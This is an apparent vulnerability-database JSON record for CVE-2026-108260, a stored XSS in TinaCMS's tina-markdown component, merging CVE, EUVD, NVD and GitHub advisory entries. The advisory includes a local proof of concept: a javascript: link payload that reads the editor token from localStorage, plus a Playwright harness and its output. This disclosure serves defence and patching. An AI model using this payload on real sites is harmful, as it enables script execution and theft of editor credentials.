{"id":"CVE-2026-108260","revision":null,"records":[{"revision":"976a02a58eaf4b529846859c54dc628d","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-108260","aliases":[],"title":"@tinacms/web-components: `tina-markdown` writes rich-text link URLs into `href` without scheme validation, allowing stored XSS","description":"Tina is a headless content management system. Prior to 0.2.1, the tina-markdown element in packages/@tinacms/web-components/src/tina-markdown.js assigns a rich-text node.url value directly to an anchor href without validating the URL scheme. A content author can store a link using a script-capable scheme, and a visitor who clicks the rendered link executes attacker-controlled script in the site's origin. The script can access same-origin application data and, when the visitor is an editor or administrator, may expose credentials stored by the TinaCMS admin on that origin. This issue is fixed in version 0.2.1.","state":0,"publishedAt":"2026-10-09T20:40:37.228+00:00","modifiedAt":"2026-10-13T15:17:14.297+00:00","affected":[{"ecosystem":"Vendor product","name":"tinacms","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"tinacms\",\n                    \"product\": \"tinacms\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 3.14.0\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"},{"ecosystem":"Vendor product","name":"web-components","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"@tinacms\",\n                    \"product\": \"web-components\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 0.2.1\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N","score":7.6,"severity":"HIGH"}],"references":["https://github.com/tinacms/tinacms/security/advisories/GHSA-c42q-qvc3-j6vg","https://github.com/tinacms/tinacms/pull/7523","https://github.com/tinacms/tinacms/commit/5295e077f0d279c35686a0e481a15e33a4877e3b","https://github.com/tinacms/tinacms/releases/tag/@tinacms/web-components@0.2.1"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-108260","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-108260","identifiers":["CVE-2026-108260"]},"retained":false,"historicalAffected":[]},{"revision":"db72e1eff7214f86a6bf5b7e1de68b33","observedAt":"2026-11-09T05:08:50.055+00:00","statement":{"source":"euvd","id":"EUVD-2026-95989","aliases":["CVE-2026-108260","GHSA-c42q-qvc3-j6vg"],"title":"Tina is a headless content management system. Prior to 0.2.1, the tina-markdown element in packages/@tinacms/web-components/src/tina-markdown.js assigns a rich-text node.url value directly to an anchor href without validating the URL scheme…","description":"Tina is a headless content management system. Prior to 0.2.1, the tina-markdown element in packages/@tinacms/web-components/src/tina-markdown.js assigns a rich-text node.url value directly to an anchor href without validating the URL scheme. A content author can store a link using a script-capable scheme, and a visitor who clicks the rendered link executes attacker-controlled script in the site's origin. The script can access same-origin application data and, when the visitor is an editor or administrator, may expose credentials stored by the TinaCMS admin on that origin. This issue is fixed in version 0.2.1.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N","score":7.6,"severity":null}],"references":["https://github.com/tinacms/tinacms/security/advisories/GHSA-c42q-qvc3-j6vg","https://github.com/tinacms/tinacms/pull/7523","https://github.com/tinacms/tinacms/commit/5295e077f0d279c35686a0e481a15e33a4877e3b","https://github.com/tinacms/tinacms/releases/tag/@tinacms/web-components@0.2.1"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-95989","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Oct 9, 2026, 8:40:37 PM","dateUpdated":"Oct 13, 2026, 3:17:14 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-95989","identifiers":["EUVD-2026-95989","CVE-2026-108260","GHSA-c42q-qvc3-j6vg"]},"retained":false,"historicalAffected":[]},{"revision":"a39484c65c1a4af798ded2bf4295df63","observedAt":"2026-10-25T05:17:13.11+00:00","statement":{"source":"nvd","id":"CVE-2026-108260","aliases":[],"title":"Tina is a headless content management system. Prior to 0.2.1, the tina-markdown element in packages/@tinacms/web-components/src/tina-markdown.js assigns a rich-text node.url value directly to an anchor href without validating the URL scheme…","description":"Tina is a headless content management system. Prior to 0.2.1, the tina-markdown element in packages/@tinacms/web-components/src/tina-markdown.js assigns a rich-text node.url value directly to an anchor href without validating the URL scheme. A content author can store a link using a script-capable scheme, and a visitor who clicks the rendered link executes attacker-controlled script in the site's origin. The script can access same-origin application data and, when the visitor is an editor or administrator, may expose credentials stored by the TinaCMS admin on that origin. This issue is fixed in version 0.2.1.","state":0,"publishedAt":"2026-10-09T21:17:04.18+00:00","modifiedAt":"2026-10-16T20:04:29.76+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N","score":7.6,"severity":"HIGH"}],"references":["https://github.com/tinacms/tinacms/commit/5295e077f0d279c35686a0e481a15e33a4877e3b","https://github.com/tinacms/tinacms/pull/7523","https://github.com/tinacms/tinacms/releases/tag/@tinacms/web-components@0.2.1","https://github.com/tinacms/tinacms/security/advisories/GHSA-c42q-qvc3-j6vg"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108260","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-79","CWE-83"],"productCriteria":[],"sourceDates":{"published":"2026-10-09T21:17:04.180","lastModified":"2026-10-16T20:04:29.760"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-108260","identifiers":["CVE-2026-108260"]},"retained":false,"historicalAffected":[]},{"revision":"9ff1eb56d7384842bcff31712a94da1c","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-c42q-qvc3-j6vg","aliases":["CVE-2026-108260"],"title":"@tinacms/web-components: `tina-markdown` writes rich-text link URLs into `href` without scheme validation, allowing stored XSS","description":"### Summary\n\n`<tina-markdown>` renders a rich-text AST into the DOM and, for `a` nodes, assigns the node's URL straight to the anchor's `href` with no scheme check. A link authored in the CMS as `javascript:…` renders as a live `javascript:` anchor, so a visitor who clicks it executes attacker-supplied script in the site's origin. Every sibling renderer in the repository already sanitizes these URLs; this one does not.\n\n### Details\n\nThe unvalidated sink:\n\n```\npackages/@tinacms/web-components/src/tina-markdown.js:67-69\n  if (node.type === 'html' || node.type === 'html_inline') {\n    return DOMPurify.sanitize(node.value, { RETURN_DOM_FRAGMENT: true });\n  }\npackages/@tinacms/web-components/src/tina-markdown.js:75    if (node.url && node.type === 'a') el.href = node.url;\npackages/@tinacms/web-components/src/tina-markdown.js:76    if (node.url && node.type === 'img') el.src = node.url;\n```\n\n`node.url` comes from the `content` attribute the site populates from the TinaCMS content API (`:169-176`), i.e. whatever a content author typed into a rich-text field. The DOMPurify call at `:68` handles only raw-HTML node values and returns before the anchor branch, so it never inspects `node.url`. Line 75 is a direct property assignment — no HTML parser, no sanitizer. The `mode: 'open'` shadow root (`:164-167`) provides no script isolation.\n\nThe guard that exists in every sibling renderer:\n\n```\npackages/@tinacms/mdx/src/sanitize-url.ts:10          allowedSchemes = ['http','https','mailto','tel','xref']\npackages/tinacms/src/rich-text/index.tsx:335            <a href={sanitizeUrl(child.url)}>\npackages/tinacms/src/rich-text/index.tsx:322            <img src={sanitizeUrl(child.url)} .../>\npackages/tinacms/src/rich-text/static.tsx:254           <a href={sanitizeUrl(child.url)}>\npackages/tinacms/src/rich-text/static.tsx:242           <img src={sanitizeUrl(child.url)} .../>\npackages/@tinacms/astro/src/LinkNode.astro:19           <a href={sanitizeHref(node.url)}>\npackages/@tinacms/astro/src/ImageNode.astro:16          <img src={sanitizeImageSrc(node.url)} .../>\n```\n\n`tina-markdown.js:75` is the only rich-text link sink in the repository that omits it — six of seven sanitize.\n\nThat this is an oversight rather than intent: the `0.2.0` changelog entry states the goal of \"matching the `components` prop on the React and Astro renderers\" while adding DOMPurify for `html` nodes, and `packages/@tinacms/web-components/src/tina-markdown.test.ts:83-96` only asserts that an `https://example.com` link renders — no scheme case is covered either way.\n\nDefault-enabled: `customElements.define('tina-markdown', TinaMarkdown)` runs at module scope (`:179`); importing the published entry point is the whole setup, with no option object or sanitizer setting.\n\nSuggested fix — reuse the existing dependency-free subpath export rather than adding a third implementation:\n\n```js\nimport { sanitizeUrl } from '@tinacms/mdx/sanitize-url';\nif (node.url && node.type === 'a') el.href = sanitizeUrl(node.url);\nif (node.url && node.type === 'img') el.src = sanitizeUrl(node.url);\n```\n\nVariant with the same root cause and the same fix: `:76` (`img.src`). A `javascript:` URL does not execute from `img.src`, so it is not scored here, but the line has no validation either — which is why `@tinacms/astro` carries a separate `sanitizeImageSrc`.\n\n### PoC\n\nSafe, local, non-destructive. One loopback server stands in for a public site rendering CMS rich-text. The page loads `tina-markdown.js` byte-for-byte from the checkout (bundled with its declared `dompurify` dependency) and also exposes the repository's own `sanitizeUrl` so the same input can be run through the canonical guard as a control. No traffic leaves the machine; the payload only writes a page-local variable.\n\nEnvironment used: Linux, Node v22.23.1, Google Chrome (`/usr/bin/google-chrome`) driven by `playwright@1.49.0`.\n\n**Setup**\n\n```bash\ngit clone https://github.com/tinacms/tinacms.git tinacms-poc\ncd tinacms-poc && git checkout 0d38acfdd23143384b8787d5d772b713fa7af163\nREPO=$PWD\n\nmkdir -p /tmp/tina-tm/site && cd /tmp/tina-tm\nnpm init -y >/dev/null\nnpm i --ignore-scripts dompurify@3.3.1 esbuild@0.25.0 playwright@1.49.0\n\ncp \"$REPO/packages/@tinacms/web-components/src/tina-markdown.js\" ./tina-markdown.js\ncp \"$REPO/packages/@tinacms/mdx/src/sanitize-url.ts\"             ./sanitize-url.ts\n```\n\n`entry.js`:\n\n```js\nimport './tina-markdown.js';                       // registers <tina-markdown>\nimport { sanitizeUrl } from './sanitize-url.ts';   // the canonical guard, for the control\nwindow.__sanitizeUrl = sanitizeUrl;\n```\n\n`site/index.html` — the AST is what `@tinacms/graphql` returns for the markdown source `[click me](javascript:…)`:\n\n```html\n<!doctype html><html><head><title>public site rendering CMS rich-text</title></head>\n<body>\n<h1>Site page</h1>\n<div id=\"host\"></div>\n<script type=\"module\" src=\"/bundle.js\"></script>\n<script type=\"module\">\n  const ast = {\n    type: 'root',\n    children: [\n      { type: 'p', children: [\n        { type: 'a',\n          url: \"javascript:window.__pwned=document.domain+' | localStorage[tinacms-auth]='+localStorage.getItem('tinacms-auth');void 0\",\n          children: [{ type: 'text', text: 'click me' }] }\n      ]}\n    ]\n  };\n  // Stand-in for a signed-in editor's stored TinaCMS credential. The real key and\n  // value are written by packages/tinacms/src/internalClient/authProvider.ts:117.\n  localStorage.setItem('tinacms-auth', 'DEMO-EDITOR-TOKEN');\n  const el = document.createElement('tina-markdown');\n  el.setAttribute('content', JSON.stringify(ast));\n  document.getElementById('host').appendChild(el);\n  window.__ready = true;\n</script>\n</body></html>\n```\n\n`run.cjs`:\n\n```js\nconst http=require('http'),fs=require('fs'),path=require('path'),{chromium}=require('playwright');\nconst PORT=8811, DIR=path.join(__dirname,'site');\nconst srv=http.createServer((req,res)=>{const p=req.url==='/'?'/index.html':req.url.split('?')[0];\n const f=path.join(DIR,p); if(!f.startsWith(DIR)||!fs.existsSync(f)){res.writeHead(404).end('nf');return;}\n res.writeHead(200,{'content-type':p.endsWith('.js')?'text/javascript':'text/html; charset=utf-8'});\n res.end(fs.readFileSync(f));});\n(async()=>{await new Promise(r=>srv.listen(PORT,'127.0.0.1',r));\n const browser=await chromium.launch({executablePath:'/usr/bin/google-chrome'});\n const page=await browser.newPage();\n await page.goto(`http://127.0.0.1:${PORT}/`);\n await page.waitForFunction(()=>window.__ready===true); await page.waitForTimeout(300);\n const rendered=await page.evaluate(()=>{const a=document.querySelector('tina-markdown').shadowRoot.querySelector('a');\n   return {hrefAttr:a&&a.getAttribute('href')};});\n await page.evaluate(()=>document.querySelector('tina-markdown').shadowRoot.querySelector('a').click());\n await page.waitForTimeout(500);\n const pwned=await page.evaluate(()=>window.__pwned||null);\n const control=await page.evaluate(()=>window.__sanitizeUrl(\"javascript:window.__pwned = document.domain\"));\n console.log(JSON.stringify({renderedAnchorHref:rendered.hrefAttr, scriptExecutedOnClick:pwned!==null,\n   capturedByPayload:pwned, control_sanitizeUrl_output:control},null,2));\n await browser.close(); srv.close();})();\n```\n\n**Run**\n\n```bash\ncd /tmp/tina-tm\nnpx esbuild entry.js --bundle --outfile=site/bundle.js --format=esm --loader:.ts=ts\nnode run.cjs\n```\n\n**Observed output (captured verbatim)**\n\n```json\n{\n  \"renderedAnchorHref\": \"javascript:window.__pwned=document.domain+' | localStorage[tinacms-auth]='+localStorage.getItem('tinacms-auth');void 0\",\n  \"scriptExecutedOnClick\": true,\n  \"capturedByPayload\": \"127.0.0.1 | localStorage[tinacms-auth]=DEMO-EDITOR-TOKEN\",\n  \"control_sanitizeUrl_output\": \"\"\n}\n```\n\nExpected vulnerable output — `renderedAnchorHref` is the attacker-supplied `javascript:` string unchanged (no scheme validation at the sink), `scriptExecutedOnClick` is `true`, and `capturedByPayload` contains the page's own domain plus the value read out of `localStorage['tinacms-auth']` (script ran in the site origin with full read access to that origin's storage). All held.\n\nControl — `control_sanitizeUrl_output` is `\"\"`. The repository's own `sanitizeUrl`, invoked in the same browser realm on the same class of input, rejects the scheme. That is exactly what `packages/tinacms/src/rich-text/index.tsx:335` and `packages/@tinacms/astro/src/LinkNode.astro:19` do for the identical AST, which isolates the defect to the missing call rather than to the input or the harness.\n\nSecond control, internal to the same file: an `html` node carrying `<a href=\"javascript:alert(1)\">x</a>` is stripped by the DOMPurify call at `:68`, so the same payload delivered as raw HTML is blocked while the same payload delivered as a link node is not.\n\n**Cleanup**\n\n```bash\nrm -rf /tmp/tina-tm\n```\n\nThe PoC was re-run after this report was drafted; the JSON above is that run.\n\n### Impact\n\nStored cross-site scripting via an unvalidated URL scheme in a link attribute. A user whose only capability is editing content gains script execution in every visitor's browser session on the site's origin. Because TinaCMS's documented layout serves the admin from the same origin (`public/admin/`) and stores the editor token in `localStorage` under `tinacms-auth` (`packages/tinacms/src/auth/authenticate.ts:5`, written at `packages/tinacms/src/internalClient/authProvider.ts:117`), a clicking visitor who is themselves an editor or administrator exposes that credential — the PoC reads it.\n\nImpacted: any site rendering TinaCMS rich-text through `<tina-markdown>`. That component exists precisely for non-React sites, i.e. the deployments that do not get `tinacms`'s sanitized React renderer.\n\n### Credits\n\n- Thai Son Dinh from VinSOC Labs (R&D)","state":0,"publishedAt":"2026-10-09T20:56:45+00:00","modifiedAt":"2026-10-09T21:15:04.3634334+00:00","affected":[{"ecosystem":"npm","name":"@tinacms/web-components","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.2.1"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/tinacms/tinacms/security/advisories/GHSA-c42q-qvc3-j6vg","https://github.com/tinacms/tinacms/pull/7523","https://github.com/tinacms/tinacms/commit/5295e077f0d279c35686a0e481a15e33a4877e3b","https://github.com/tinacms/tinacms","https://github.com/tinacms/tinacms/releases/tag/@tinacms/web-components@0.2.1"],"sourceUrl":"https://github.com/advisories/GHSA-c42q-qvc3-j6vg","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-c42q-qvc3-j6vg","identifiers":["GHSA-c42q-qvc3-j6vg","CVE-2026-108260"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-09T07:04:24.9567057+00:00","complete":true,"records":1769,"lastAttemptAt":"2026-11-09T07:04:24.9567057+00:00","lastSuccessAt":"2026-11-09T07:04:25.1719597+00:00","error":null,"lastVerifiedAt":"2026-11-09T07:04:25.1719634+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-24e6fde7b744113daefb8f6135035fb8a5c69c9617c9c0d40574a0376532ffd3-bac7baae6881807b2b4a9dce5cf5dd63af98be3e5c79f031b11fd288ebb8cee0","complete":true,"records":421301,"lastAttemptAt":"2026-11-09T07:02:23.0094052+00:00","lastSuccessAt":"2026-11-09T07:02:22.9878009+00:00","error":null,"lastVerifiedAt":"2026-11-09T07:02:23.0094052+00:00","snapshotPublishedAt":"2026-11-09T06:27:21+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-d2e3823747a845d48be4a8b64d8875b5","complete":false,"records":13654,"lastAttemptAt":"2026-11-09T07:16:41.1642648+00:00","lastSuccessAt":"2026-11-09T07:16:41.156+00:00","error":"14 identifier lookups failed; latest failures include HTTP 403. Other identifiers were checked independently.","lastVerifiedAt":"2026-11-09T07:16:41.156+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13677,"expectedIdentifiers":13706,"failedIdentifiers":14},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-09T07:04:24.9567057+00:00","complete":true,"records":1096,"lastAttemptAt":"2026-11-09T07:04:24.9567057+00:00","lastSuccessAt":"2026-11-09T07:04:25.1726767+00:00","error":null,"lastVerifiedAt":"2026-11-09T07:04:25.1726768+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-156d67f0b09643159ff4bd684ee896db","complete":true,"records":13666,"lastAttemptAt":"2026-11-09T07:04:26.2116374+00:00","lastSuccessAt":"2026-11-09T07:04:26.209+00:00","error":null,"lastVerifiedAt":"2026-11-09T07:04:26.209+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13706,"expectedIdentifiers":13706,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-980593e6977a6d1b4fb1eed5a1ffe88a468736f89f0a06f710924ad59132c023","complete":true,"records":9914,"lastAttemptAt":"2026-11-09T07:04:24.7370556+00:00","lastSuccessAt":"2026-11-08T11:07:07.068788+00:00","error":null,"lastVerifiedAt":"2026-11-09T07:04:24.7370556+00:00","snapshotPublishedAt":"2026-11-08T11:02:46+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-fde804134ecdda0ddd5ff5c26ee1fff5a6fa659311f7ef2e51c6ad54964db0e2","complete":true,"records":1971,"lastAttemptAt":"2026-11-09T07:02:23.2085789+00:00","lastSuccessAt":"2026-11-06T19:03:17.0399903+00:00","error":null,"lastVerifiedAt":"2026-11-09T07:02:23.2085789+00:00","snapshotPublishedAt":"2026-11-06T18:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-f6d341f4320a5a0c059c28102ee651c3dd06abc87b84d2bafa4e2a823ec07d35","complete":true,"records":3056,"lastAttemptAt":"2026-11-09T07:04:24.9218065+00:00","lastSuccessAt":"2026-11-09T05:02:23.1539412+00:00","error":null,"lastVerifiedAt":"2026-11-09T07:04:24.9218065+00:00","snapshotPublishedAt":"2026-11-09T04:47:48+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-32fcf2a839d0d91a36b31c98096d6b8a1a8cc523d64745f8a939e306130e49f2","complete":true,"records":231296,"lastAttemptAt":"2026-11-09T07:04:24.6113442+00:00","lastSuccessAt":"2026-11-09T07:04:23.2641171+00:00","error":null,"lastVerifiedAt":"2026-11-09T07:04:24.6113442+00:00","snapshotPublishedAt":"2026-11-09T06:48:11+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}